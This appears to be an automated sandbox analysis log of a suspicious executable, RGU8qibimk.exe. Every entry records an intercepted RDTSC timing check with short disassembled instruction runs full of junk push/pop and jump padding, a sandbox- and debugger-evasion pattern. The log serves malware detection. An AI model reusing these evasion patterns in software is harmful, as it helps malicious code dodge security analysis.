Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC42D second address: 13EC463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FDF08CE3BA8h 0x00000009 jmp 00007FDF08CE3BA9h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC463 second address: 13EC468 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC468 second address: 13EC46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC46E second address: 13EC477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC477 second address: 13EC47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC47D second address: 13EC481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC5D7 second address: 13EC5DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EC5DF second address: 13EC5FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FDF09105E44h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EBFC4 second address: 13EBFC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13EBFC8 second address: 13EBFE2 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FDF09105E36h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007FDF09105E36h 0x00000014 ja 00007FDF09105E36h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ECE1B second address: 13ECE3C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FDF08CE3BA9h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ECFB1 second address: 13ECFEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FDF09105E4Fh 0x0000000a jmp 00007FDF09105E49h 0x0000000f popad 0x00000010 js 00007FDF09105E4Ch 0x00000016 push esi 0x00000017 jmp 00007FDF09105E3Ah 0x0000001c pop esi 0x0000001d push ebx 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ED22C second address: 13ED232 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13ED232 second address: 13ED236 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F1ADD second address: 13F1B07 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a jmp 00007FDF08CE3BA7h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F1B07 second address: 13F1B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A8A8A second address: 13A8A94 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A8A94 second address: 138F124 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E48h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FDF09105E38h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov edi, 2637D970h 0x0000002b mov edx, eax 0x0000002d call dword ptr [ebp+122D2EADh] 0x00000033 pushad 0x00000034 push ecx 0x00000035 push ecx 0x00000036 pop ecx 0x00000037 pop ecx 0x00000038 push ebx 0x00000039 push edi 0x0000003a pop edi 0x0000003b jnl 00007FDF09105E36h 0x00000041 pop ebx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A8FBC second address: 13A8FC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A90E0 second address: 13A90E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A914E second address: 13A9152 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A92EE second address: 13A92F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDF09105E36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A93A7 second address: 13A93AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A94A2 second address: 13A94C4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FDF09105E41h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jng 00007FDF09105E44h 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop esi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A94C4 second address: 13A94C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A9B06 second address: 13A9B0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A9B0F second address: 13A9B5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 ja 00007FDF08CE3BAEh 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jmp 00007FDF08CE3B9Bh 0x00000016 mov eax, dword ptr [eax] 0x00000018 js 00007FDF08CE3B9Ah 0x0000001e mov dword ptr [esp+04h], eax 0x00000022 push eax 0x00000023 push edx 0x00000024 jns 00007FDF08CE3B98h 0x0000002a push ebx 0x0000002b pop ebx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A9C56 second address: 13A9CC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FDF09105E38h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 movzx edi, si 0x00000029 stc 0x0000002a lea eax, dword ptr [ebp+1247C7F2h] 0x00000030 jmp 00007FDF09105E49h 0x00000035 nop 0x00000036 jmp 00007FDF09105E3Fh 0x0000003b push eax 0x0000003c pushad 0x0000003d push eax 0x0000003e push edx 0x0000003f pushad 0x00000040 popad 0x00000041 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A9CC5 second address: 13A9CE0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13A9CE0 second address: 13A9CE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F0C3D second address: 13F0C42 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F0DA3 second address: 13F0DBF instructions: 0x00000000 rdtsc 0x00000002 js 00007FDF09105E36h 0x00000008 jmp 00007FDF09105E42h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F121A second address: 13F1224 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FDF08CE3B96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F1224 second address: 13F1228 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F998B second address: 13F99A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDF08CE3BA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F99A6 second address: 13F99AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F9C95 second address: 13F9C9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F9C9C second address: 13F9CB7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007FDF09105E36h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FDF09105E3Ch 0x00000014 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F9CB7 second address: 13F9CFC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jng 00007FDF08CE3B96h 0x0000000f push edi 0x00000010 pop edi 0x00000011 popad 0x00000012 jmp 00007FDF08CE3BA5h 0x00000017 push eax 0x00000018 push edx 0x00000019 jp 00007FDF08CE3B96h 0x0000001f jmp 00007FDF08CE3BA6h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F9E66 second address: 13F9E6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13F9E6A second address: 13F9E94 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FDF08CE3B96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007FDF08CE3BA2h 0x00000010 pushad 0x00000011 popad 0x00000012 jnp 00007FDF08CE3B96h 0x00000018 popad 0x00000019 push ebx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FA2FA second address: 13FA313 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FDF09105E36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jno 00007FDF09105E3Ch 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FA313 second address: 13FA319 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FA473 second address: 13FA47D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FA60E second address: 13FA614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FA614 second address: 13FA618 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FD5C5 second address: 13FD5C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FD5C9 second address: 13FD5CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 13FD307 second address: 13FD30C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1373681 second address: 1373687 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140587C second address: 1405880 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1405880 second address: 1405888 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1405888 second address: 140589A instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jo 00007FDF08CE3B96h 0x00000009 pushad 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140589A second address: 14058BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDF09105E3Ah 0x00000010 jmp 00007FDF09105E3Dh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140A693 second address: 140A699 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140A699 second address: 140A6E7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007FDF09105E4Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jo 00007FDF09105E42h 0x00000015 js 00007FDF09105E36h 0x0000001b jns 00007FDF09105E36h 0x00000021 pushad 0x00000022 push eax 0x00000023 pop eax 0x00000024 jmp 00007FDF09105E3Ch 0x00000029 push esi 0x0000002a pop esi 0x0000002b popad 0x0000002c pushad 0x0000002d push edx 0x0000002e pop edx 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140A6E7 second address: 140A70F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDF08CE3BA3h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e ja 00007FDF08CE3B96h 0x00000014 jns 00007FDF08CE3B96h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409DE5 second address: 1409DE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409DE9 second address: 1409DF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FDF08CE3B96h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409DF5 second address: 1409DFA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409DFA second address: 1409E14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007FDF08CE3B96h 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FDF08CE3B9Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409F5F second address: 1409F79 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDF09105E3Eh 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409F79 second address: 1409FC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3BA5h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c pushad 0x0000000d pushad 0x0000000e jmp 00007FDF08CE3BA0h 0x00000013 pushad 0x00000014 popad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 jmp 00007FDF08CE3BA1h 0x0000001c popad 0x0000001d push eax 0x0000001e push edx 0x0000001f push edi 0x00000020 pop edi 0x00000021 jl 00007FDF08CE3B96h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409FC7 second address: 1409FD3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1409FD3 second address: 1409FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140A2A3 second address: 140A2BC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E44h 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140FEA1 second address: 140FEA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140FEA8 second address: 140FEBB instructions: 0x00000000 rdtsc 0x00000002 ja 00007FDF09105E3Ch 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140EC3B second address: 140EC41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140F158 second address: 140F167 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007FDF09105E36h 0x00000009 pushad 0x0000000a popad 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140FB9B second address: 140FBA1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 140FBA1 second address: 140FBA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1418094 second address: 14180B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007FDF08CE3B98h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDF08CE3B9Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14180B2 second address: 14180B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14180B6 second address: 14180E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FDF08CE3BA6h 0x00000010 jp 00007FDF08CE3B9Eh 0x00000016 push edx 0x00000017 pop edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14180E1 second address: 14180E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 14180E5 second address: 141811A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FDF08CE3B96h 0x00000009 jmp 00007FDF08CE3BA6h 0x0000000e ja 00007FDF08CE3B96h 0x00000014 jnp 00007FDF08CE3B96h 0x0000001a popad 0x0000001b push edi 0x0000001c jc 00007FDF08CE3B96h 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1416B2A second address: 1416B35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007FDF09105E36h 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1416B35 second address: 1416B40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FDF08CE3B96h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1416E72 second address: 1416EBF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a jmp 00007FDF09105E3Fh 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 jmp 00007FDF09105E42h 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FDF09105E42h 0x00000020 popad 0x00000021 jnc 00007FDF09105E38h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1417A28 second address: 1417A4D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF08CE3B9Fh 0x00000007 jmp 00007FDF08CE3B9Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1417A4D second address: 1417A51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 1417D15 second address: 1417D19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141BFC3 second address: 141BFDD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDF09105E3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnc 00007FDF09105E38h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141BFDD second address: 141BFE7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FDF08CE3BA2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141BFE7 second address: 141BFED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B119 second address: 141B11D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B11D second address: 141B12B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jg 00007FDF09105E3Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\RGU8qibimk.exe RDTSC instruction interceptor: First address: 141B12B second address: 141B134 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
